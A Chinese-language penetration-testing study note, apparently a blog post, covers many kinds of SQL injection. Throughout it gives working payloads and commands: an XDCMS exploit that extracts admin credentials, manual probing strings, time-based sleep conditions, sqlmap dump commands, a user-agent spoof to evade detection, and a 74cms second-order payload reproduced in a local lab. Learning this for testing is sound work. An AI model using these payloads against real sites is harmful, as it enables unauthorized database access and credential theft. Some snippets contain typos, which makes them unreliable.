渗透测试学习 十一、 其他注入漏洞汇总

大纲:提交方式注入  参数型注入  其他注入

提交方式注入

  常见的提交方式:

  GET:大多数,正常的浏览,以URL的方式进行传参,不安全,明文传输,存在长度限制。xx.com/x.php?id=1

  POST:一般在登录页面,参数在数据包中,不在URL中传输,相对比较安全

  COOKIE:本地登录凭证

  HEAD:头部信息

  PUT  OPTION  

  服务器端接收数据的方式:

  GET  只接受get型的传参

  POST  只接受post型的传参

  REQUEST  get,post,cookie方式都接受

  GET注入

    get注入比较常见

    e.g  www.xx.com/news.php?id=11

    检测:加个 / 报错  -0 正常 --->存在注入

    加 '  SQL语句显错注入  或   %bf'  宽字节绕过

  POST注入

    post提交方式主要适用于表单的提交,注册用户,登录账号,留言,修改账号,修改个人资料,上传文件,搜索框

    用于登录框的注入

    e.g  www.xxx.com/admin.php

    可以在用户注册的时候,在用户名后面加上 ' 会报错,存在注入,将bp抓的包存储成txt文件,用sqlmap跑包,如果在注册的时候,网页对 ' 过滤,可以在bp抓包,将username的后面加上5bf,绕过过滤

    工具:穿山甲、sqlmap

  XDCMS全版本存在SQL注入漏洞

  需要使用代理抓包改包完成

  sql exp

   %60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23

  将这段exp放在5D%的前面(测表单的名称)

  COOKIE注入

    cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统

    sqlmap.py -u "" --cookie "id=30" --level 2

    前提:服务器接收cookie型的传参

    如果是get型的传参方式,再试试post型的传参,如果能传递成功,说明cookie也是可以的。

    也可以bp抓包,修改cookie.......;id=30

    再用sqlmap跑包

参数型注入

  数字类型注入  字符类型注入  搜索类型注入  

  数字型注入

    www.xxx.com/news.asp?id=1

    select *from news where id=11

    www.xxx.com/news.asp?id=11 and 1=1

    select * from news where id=11 and 1=1

  字符型注入

    www.xx.com/news.asp?id=你好' and 1=1 #

    select * from news where id="你好' and 1=1 #'

    www.xx.com/news.asp?id=你好' and 1=1'

    select * from news where id='你好' and 1=1'

  搜索型修注入

    like 像

    通配符 *

    SQL通配符%%

    select * from news where id="'%like $id%"

    http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7

    参数:keyword=123

    '%%' and 1=2 and '%'='%'

    可以直接bp抓包,存为txt,用sqlmap跑包

    网站是通过useragent:sql.org检测sqlmap攻击的

    绕过方法,在安装路径下,lib文件夹中,core文件中的option.py文件的地1425行左右,改为百度的爬行蜘蛛

    return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"

    手工注入:

    2%'and(select count(*)from mssysaccessobjects)>0 and '%'='  //返回正常,access数据库

    2%'and(select count(*)from admin_user)>0 and '%'='  //返回正常,存在admin_user表

    2%'and(select count(username)from admin_user)>0 and '%'='  //返回正常,存在username字段

    2%'and(select count(password)from admin_user)>0 and '%'='  //返回正常,存在password字段

    2%'and(select top 1 len(admin)from admin_user)>4 and '%'='  //返回正常,username长度大于4

    用sqlmap

    先抓包,保存为txt    

    sqlmap.py -r 1.txt --tables  表名

    sqlmap.py -r 1.txt --columns -T "admin"  列名

    sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2  内容

其他注入

  伪静态注入  延迟注入  base64注入  二阶注入  

  phpv9 authkey注入  http头注入  XML实体注入  APP注入挖掘

  伪静态注入

    例如:  

    http://xx.com.cn/

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html

    检测方法:

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131  返回正常

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html  报错

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html  报错

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html  报错

    在用sqlmap跑的时候sqlmap检测不不到注入点时,如下

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html

    通常存在于aspcms、phpweb、thinkphp等框架网站

    自己伪造伪静态

    例如:

    xx.com/x_deitl_id_123.html

    对比如下:

    xx.com/x/deitl.php?id=123

  延迟注入

    是一种条件判断,通过时间判断,仅仅是判断,无法上传shell

    延迟注入是通过也免得返回时间长度来判断的,不同的MySQL数据库版本,延迟注入的语句不一样

    MySQL>=5.0的可以用sleep()进行查询

    MySQL<5.0的可以用benchmark()进行查询

    benchmark用法:

    benchmark(n,sql语句)  n为查询次数

    通过查询洗漱的增多,时间变得缓慢来判断是否存在注入

    select benchmark(1000.select * from admin);

    sleep()延迟注入用法

    sleep可以强制产生一个固定的延迟

    sleep()延迟注入的核心原理

      and if(true,sleep(5),0)==IF(1=1,true,false);

    ?id=1 and sleep(5)  判断是否存在延迟注入

    and if(substring(user(),1,4)='root',sleep(5),1)  判断当前用户

    and if(MID(version(),1,1) LIKE 5, sleep(5),1)  判断数据库版本信息是否为5,可以猜解他的数据库名称

    and if(ascii(substring(database(),1,4))>100,sleep(4),1)

    sqlmap.py --time-sec=2  延迟注入

  base64编码注入

    解码

    构造语句

    编码

    $id=base64_decode($id);

    用插件  --tamper=base64encode.py

  二阶注入

  (一般是在白盒测试中进行,需要代码审计)

  sql注入一般分为两种,一阶注入(普通的sql注入)和二阶注入

  一阶注入是发生在一个HTTP请求和响应中,系统堆攻击数据立即反应执行

  一阶注入的攻击过程归纳如下:

    1、攻击者在http请求中提交恶意的sql语句

    2、应用处理恶意的输入,使用恶意的输入动态构建SQL语句

    3、如果攻击实现,在响应中向攻击者返回结果

  二阶注入,作为SQL注入的一种,不同于普通的SQL注入,恶意代码被注入到web应用中不会立即执行,而是存储在后端数据库中,在处理另一个不同的请求时,应用检索到数据库中的恶意输入并利用他动态构建SQL语句,实现攻击。

  二阶注入攻击过程归纳如下:

    1、攻击者在一个HTTP请求中提交恶意输入

    2、用于将恶意输入保存在数据库中

    3、攻击者提交第二个HTTP请求

    4、为处理第二个HTTP请求,应用检索存储在数据库中的恶意输入,动态构建SQL语句

    5、如果攻击实现,在第二个请求的响应中就会返回结果

  一般攻击利用是两种方式

    攻击存储  注入攻击

  74cms人才系统v3.4简历填写中存在注入  aa','fullname'=user()#

实现过程如下:

在网站上搜74cms v3.4的源码,直接放在PHPstudy的www路径下,地址栏中输入127.0.0.1回车,做一番数据库配置就好了

点击填写简历

先注册一个账户

然后创建简历,前面的信息都可以随便填,只要符合格式就好

需要注意的下面一步,这一步中学校名称里面存在二阶注入漏洞,输入我们的测试语句 aa',`fullname`=user()# ,保存提交

此时信息录制成功

 此时我们点击预览简历,就可以发现已经将查询结果返回了

 

 

 2019-05-05  20:17:46

原文地址:https://www.cnblogs.com/Yuuki-/p/10815490.html